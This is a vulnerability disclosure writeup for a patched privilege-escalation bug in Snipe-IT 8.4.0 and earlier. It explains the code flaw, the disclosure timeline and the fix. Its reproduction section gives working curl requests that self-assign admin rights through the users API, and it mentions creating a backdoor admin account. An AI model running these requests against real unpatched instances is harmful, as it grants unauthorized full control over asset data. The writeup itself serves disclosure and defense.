When one missing unset() grants admin
How a single unset(‘superuser’) — with no equivalent for the admin key — let any user holding users.edit self-assign admin over the API and take full control of Snipe-IT ≤ 8.4.0.

On May 5, 2026, GitHub Security Advisory GHSA-hq28-crg7-95pr published a vulnerability I reported in Snipe-IT, Grokability’s open-source asset management system (Laravel, ~11k GitHub stars). In versions ≤ 8.4.0, any authenticated user holding only the users.edit permission could self-assign the admin permission with a single PATCH /api/v1/users/{id} request, sidestepping the entire authorization model. The fix is in version 8.4.1.
The interesting part is not a forgotten capability but a partial protection: the developer carefully strips the superuser key from the permissions a non-superadmin can assign — but lets admin through, which in Snipe-IT is just as total. One extra unset() would have closed the hole.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L = 8.3 (High), consistent with the vendor’s rating. The finding was credited publicly (independent co-reporter: 0xrdi).Background: in Snipe-IT, admin bypasses every policy
Snipe-IT uses granular permissions built on Laravel Policies. The key point is the base policy SnipePermissionsPolicy, whose before() method short-circuits every resource-level check:
public function before(User $user, $ability, $item)
{
if ($user->hasAccess('admin')) {
return true; // admin → true for every ability, on every resource
}
}Anyone holding admin passes no further check: the policy returns true ahead of everything. In a system like this, the only question that matters to an attacker is: can I assign myself the admin key? Until 8.4.0, the answer was yes.
The block that strips a single key
The API UsersController handles inbound permissions like this, in both update() (lines 590–599) and store() (lines 450–458):
if ($request->has('permissions')) {
$permissions_array = $request->input('permissions');
// Strip out the individual superuser permission if the API user isn't a superadmin
if (!auth()->user()->isSuperUser()) {
unset($permissions_array['superuser']);
}
$user->permissions = $permissions_array;
}Two flaws stack here. First: only superuser is removed; admin — and every other key — passes through unchecked. Second: this block sits outside the canEditAuthFields gate (lines 552–570), which guards password, username, email and activated. The only authorization needed to reach it is the check at line 535, $this->authorize(‘update’, $user), which verifies only users.edit.
This is the partial-protection pattern: some sensitive fields sit behind a gate, others — here the permissions, the most sensitive fields of all — were left outside it. Whenever a subset of fields is guarded by a middleware or gate, it always pays to verify that every dangerous field is covered.
The same gap in the web controller
It is not an API-only slip: the web controller replicates the pattern verbatim in its store() method, so that creating a user from the UI can forge an account with arbitrary permissions too:
$permissions_array = $request->input('permission');
if (! auth()->user()->isSuperUser()) {
unset($permissions_array['superuser']);
}
$user->permissions = json_encode($permissions_array);Reproduction
All it takes is an API token for a user with only users.view / users.edit / users.create (neither admin nor superuser). The diagnostic moment is the before/after state around a single PATCH:
# 0. Before the exploit, asset access is denied
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
-H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 403
# 1. Self-assign admin with a single request
curl -s -X PATCH http://TARGET/api/v1/users/ME_ID \
-H "Authorization: Bearer ATTACKER_TOKEN" \
-H "Accept: application/json" \
--data-urlencode "permissions[users.view]=1" \
--data-urlencode "permissions[users.edit]=1" \
--data-urlencode "permissions[admin]=1" \
| jq '.payload.permissions'
# { "users.view": 1, "users.edit": 1, "admin": 1 }
# 2. Same endpoint as before: now returns 200 — full access
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
-H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 200From there the attacker has read/write/delete over all assets, accessories, components, licenses, users, locations and reports — and can use the same store() to create a backdoor admin account for persistence. The only key it cannot self-assign is superuser, which is correctly stripped.
Why it’s a distinct CVE (not a duplicate)
Snipe-IT’s users endpoint has been touched by two other CVEs with different root causes. It’s worth keeping them apart:
- CVE-2025-15602 — mass assignment of user attributes (e.g. email), patched in v8.3.7. Different root cause: profile fields, not permissions.
- CVE-2026-38533 — ownership bypass of the
canEditAuthFieldsgate (password,activated), different reporter. - CVE-2026-44832 (this one) — the
permissionsarray, outside the gate, accepts theadminkey because onlysuperuseris stripped.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-03-09 | Reported via email to security@snipeitapp.com (official channel per SECURITY.md) |
| 2026-03-12 | Vendor confirms the fix on master and asks for a CVE ID |
| 2026-04-07 | v8.4.1 released (fix) — initially with no CVE or advisory |
| 2026-04-16 | CVE requested to complete attribution |
| 2026-05-05 | GitHub Security Advisory GHSA-hq28-crg7-95pr published (CVE-2026-44832) |
| 2026-05-06 | Credit accepted; this writeup published |
Mitigation
Update to Snipe-IT 8.4.1 or later. In 8.4.1 the permissions normalization was refactored into a dedicated action (PreserveUnauthorizedPrivilegedPermissionsAction) that strips both privileged keys for unauthorized callers. The shape of the fix is this:
if (!auth()->user()->isSuperUser()) {
unset($permissions_array['superuser']);
}
// Added: also strip 'admin' if the caller isn't already admin/superuser
if (!auth()->user()->hasAccess('admin') && !auth()->user()->isSuperUser()) {
unset($permissions_array['admin']);
}The design lesson is broader than the single unset(): an allow-list beats a deny-list. Stripping “the dangerous keys” you know about today leaves the ones you’ll add tomorrow exposed; explicitly permitting only the keys a caller may assign is robust to the permission set evolving. And the fields that decide privilege must be treated as the most sensitive of all — never as a branch left outside the authorization gate.
GitHub advisory and CVE record
GitHub Security Advisory published by the vendor (Grokability) with impact, affected versions, fix commits and credits. Official CVE record on cve.org.
Lorenzo Fradeani is an independent security researcher focused on vulnerability research and offensive security tooling. Available for AppSec collaborations and pentest engagements from Massa-Carrara and remote. Get in touch.